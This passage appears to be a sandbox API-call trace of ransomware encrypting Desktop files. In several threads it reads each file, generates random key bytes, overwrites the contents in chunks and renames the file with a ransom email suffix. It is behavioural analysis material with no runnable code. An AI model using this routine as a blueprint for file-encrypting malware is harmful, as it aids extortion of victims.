HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0062.927] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1560f988, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d47e0 [0062.958] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d47e0) returned 1 [0062.958] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4338a8) returned 1 [0062.958] NtQueryInformationFile (in: FileHandle=0x49c, IoStatusBlock=0x1560f994, FileInformation=0x1560f96c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1560f994, FileInformation=0x1560f96c) returned 0x0 [0062.958] NtSetInformationFile (FileHandle=0x49c, IoStatusBlock=0x1560f994, FileInformation=0x1560f96c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.962] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0062.962] FlushFileBuffers (hFile=0x49c) returned 1 [0066.198] CloseHandle (hObject=0x49c) Thread: id = 1067 os_tid = 0xed8 [0056.068] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zcym5iucah4tdjqok-a.wav")) returned 0x20 [0056.068] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav", dwFileAttributes=0x20) returned 1 [0059.920] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zcym5iucah4tdjqok-a.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x494 [0059.920] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x1020fbd4 | out: lpFileSize=0x1020fbd4*=85484) returned 1 [0059.920] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x14de8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.921] ReadFile (in: hFile=0x494, lpBuffer=0x1020fb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1020fb54, lpOverlapped=0x0 | out: lpBuffer=0x1020fb58*, lpNumberOfBytesRead=0x1020fb54*=0x4, lpOverlapped=0x0) returned 1 [0059.921] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce690 [0059.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce708 [0059.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce730 [0059.921] NtQuerySystemTime (in: CurrentTime=0x1020fb34 | out: CurrentTime=0x1020fb34*=132174898238964000) returned 0x0 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x77e95bf8 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0xe618d79 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x22bf493e [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x4a6e8387 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x7d3d260d [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x4c3de47 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x42c9d2f3 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x5b56c350 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x5ec50f91 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x6a43256c [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x1e5051cc [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x1f7a08f1 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x1e6a098d [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x7475e1d [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x74766aba [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x7eedaba8 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x7f338bf4 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x36c31e75 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x3f317b1c [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x776aeb03 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x5673554f [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x53672695 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x2956b5b6 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x11978843 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x39387215 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x78423f5d [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x17969cdb [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0xfd87657 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x184f3846 [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x23b95a6d [0059.922] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0x76e907a0 [0059.923] RtlRandomEx (in: Seed=0x1020fb40 | out: Seed=0x1020fb40) returned 0xc9038f1 [0059.935] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.935] ReadFile (in: hFile=0x494, lpBuffer=0x197be228, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1020fb14, lpOverlapped=0x0 | out: lpBuffer=0x197be228*, lpNumberOfBytesRead=0x1020fb14*=0xc800, lpOverlapped=0x0) returned 1 [0059.935] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.935] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd78 [0059.935] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437e68 [0059.935] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce690 [0059.935] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce690) returned 1 [0059.936] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197caa30 [0059.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce690 [0059.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce730 [0059.940] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce730) returned 1 [0059.940] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437e68) returned 1 [0059.940] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd78) returned 1 [0059.940] WriteFile (in: hFile=0x494, lpBuffer=0x197caa30*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1020fb14, lpOverlapped=0x0 | out: lpBuffer=0x197caa30*, lpNumberOfBytesWritten=0x1020fb14*=0xc800, lpOverlapped=0x0) returned 1 [0062.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197caa30) returned 1 [0062.775] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197be228) returned 1 [0062.775] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x44bb80 [0062.775] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.775] WriteFile (in: hFile=0x494, lpBuffer=0x5ed6c18*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x1020fb94, lpOverlapped=0x0 | out: lpBuffer=0x5ed6c18*, lpNumberOfBytesWritten=0x1020fb94*=0x11f, lpOverlapped=0x0) returned 1 [0062.927] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6c18) returned 1 [0062.927] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0062.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f80) returned 1 [0062.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0062.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce690) returned 1 [0062.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce708) returned 1 [0062.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce758) returned 1 [0062.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce780) returned 1 [0062.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00470 [0062.928] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav" [0062.928] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav.mailto[2Hamlampampom@cock.li].cd46d" [0062.928] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1020fb4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x12cf96e0 [0062.960] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0062.960] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435288) returned 1 [0062.960] NtQueryInformationFile (in: FileHandle=0x494, IoStatusBlock=0x1020fb58, FileInformation=0x1020fb30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1020fb58, FileInformation=0x1020fb30) returned 0x0 [0062.960] NtSetInformationFile (FileHandle=0x494, IoStatusBlock=0x1020fb58, FileInformation=0x1020fb30, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.961] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0062.961] FlushFileBuffers (hFile=0x494) returned 1 [0066.198] CloseHandle (hObject=0x494) Thread: id = 1068 os_tid = 0xee0 [0056.068] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zo8hii4 ry4j0wl.flv")) returned 0x20 [0056.069] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv", dwFileAttributes=0x20) returned 1 [0059.941] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zo8hii4 ry4j0wl.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x490 [0059.941] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x15a2fc18 | out: lpFileSize=0x15a2fc18*=85714) returned 1 [0059.941] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x14ece, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.941] ReadFile (in: hFile=0x490, lpBuffer=0x15a2fb9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15a2fb98, lpOverlapped=0x0 | out: lpBuffer=0x15a2fb9c*, lpNumberOfBytesRead=0x15a2fb98*=0x4, lpOverlapped=0x0) returned 1 [0059.942] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.942] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce730 [0059.942] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce7a8 [0059.942] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce7d0 [0059.942] NtQuerySystemTime (in: CurrentTime=0x15a2fb78 | out: CurrentTime=0x15a2fb78*=132174898239276000) returned 0x0 [0059.942] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x7167b86f [0059.942] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x356dc741 [0059.942] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x24cd45dd [0059.942] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x4220f128 [0059.942] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x220ce2ed [0059.942] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x496b5ecd [0059.942] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x3f3eed15 [0059.942] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x2c7123ec [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x33180bad [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x3c36191d [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x5e5a3f67 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x307a326d [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x7e40b89f [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x30a5e62d [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x93322cb [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x76a70c5d [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x3d081f95 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x2a6ecb71 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x2b44e1e7 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x4e2a9879 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x59af0aea [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0xd5befa7 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x7a5434cc [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x27435a71 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x679fd3a0 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x7218bf74 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x3cf3e859 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0xebdd4a2 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x42cb71eb [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0xd935441 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x3331f715 [0059.943] RtlRandomEx (in: Seed=0x15a2fb84 | out: Seed=0x15a2fb84) returned 0x6688151f [0059.956] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.956] ReadFile (in: hFile=0x490, lpBuffer=0x197d7238, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x15a2fb58, lpOverlapped=0x0 | out: lpBuffer=0x197d7238*, lpNumberOfBytesRead=0x15a2fb58*=0xc800, lpOverlapped=0x0) returned 1 [0059.956] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.956] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd78 [0059.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437e68 [0059.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce730 [0059.957] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce730) returned 1 [0059.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197e3a40 [0059.961] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce730 [0059.961] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce7d0 [0059.961] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce7d0) returned 1 [0059.961] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437e68) returned 1 [0059.961] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd78) returned 1 [0059.961] WriteFile (in: hFile=0x490, lpBuffer=0x197e3a40*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x15a2fb58, lpOverlapped=0x0 | out: lpBuffer=0x197e3a40*, lpNumberOfBytesWritten=0x15a2fb58*=0xc800, lpOverlapped=0x0) returned 1 [0062.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197e3a40) returned 1 [0062.778] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197d7238) returned 1 [0062.778] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x4a66a0 [0062.778] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.778] WriteFile (in: hFile=0x490, lpBuffer=0x5efe280*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x15a2fbd8, lpOverlapped=0x0 | out: lpBuffer=0x5efe280*, lpNumberOfBytesWritten=0x15a2fbd8*=0x117, lpOverlapped=0x0) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe280) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a66e0) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8ee0) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a66a0) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce730) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce7a8) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce7f8) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce820) returned 1 [0062.916] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4d780 [0062.916] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv" [0062.916] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv.mailto[2Hamlampampom@cock.li].cd46d" [0062.916] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15a2fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.916] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x4d4620 [0063.033] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4620) returned 1 [0063.033] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d4c0) returned 1 [0063.033] NtQueryInformationFile (in: FileHandle=0x490, IoStatusBlock=0x15a2fb9c, FileInformation=0x15a2fb74, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15a2fb9c, FileInformation=0x15a2fb74) returned 0x0 [0063.033] NtSetInformationFile (FileHandle=0x490, IoStatusBlock=0x15a2fb9c, FileInformation=0x15a2fb74, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.034] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.034] FlushFileBuffers (hFile=0x490) returned 1 [0066.208] CloseHandle (hObject=0x490) Thread: id = 1069 os_tid = 0xeec [0056.069] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zwcn6.pptx")) returned 0x20 [0056.069] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx", dwFileAttributes=0x20) returned 1 [0059.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zwcn6.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x48c [0059.962] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x1590f814 | out: lpFileSize=0x1590f814*=63398) returned 1 [0059.962] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0xf7a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.962] ReadFile (in: hFile=0x48c, lpBuffer=0x1590f798, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1590f794, lpOverlapped=0x0 | out: lpBuffer=0x1590f798*, lpNumberOfBytesRead=0x1590f794*=0x4, lpOverlapped=0x0) returned 1 [0059.963] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.963] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce7d0 [0059.963] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce848 [0059.963] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0059.963] NtQuerySystemTime (in: CurrentTime=0x1590f774 | out: CurrentTime=0x1590f774*=132174898239432000) returned 0x0 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x31aa2a5e [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x30424d42 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x6aab2313 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x5da78a78 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x445c673 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x31b352c8 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x72f1d4e4 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x2282dfe7 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x97c3211 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x235174f6 [0059.963] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x37b0fac [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x60f8ebdf [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x12cc4181 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x6015c95 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x3477cd48 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x69045669 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x66aba96e [0059.964] 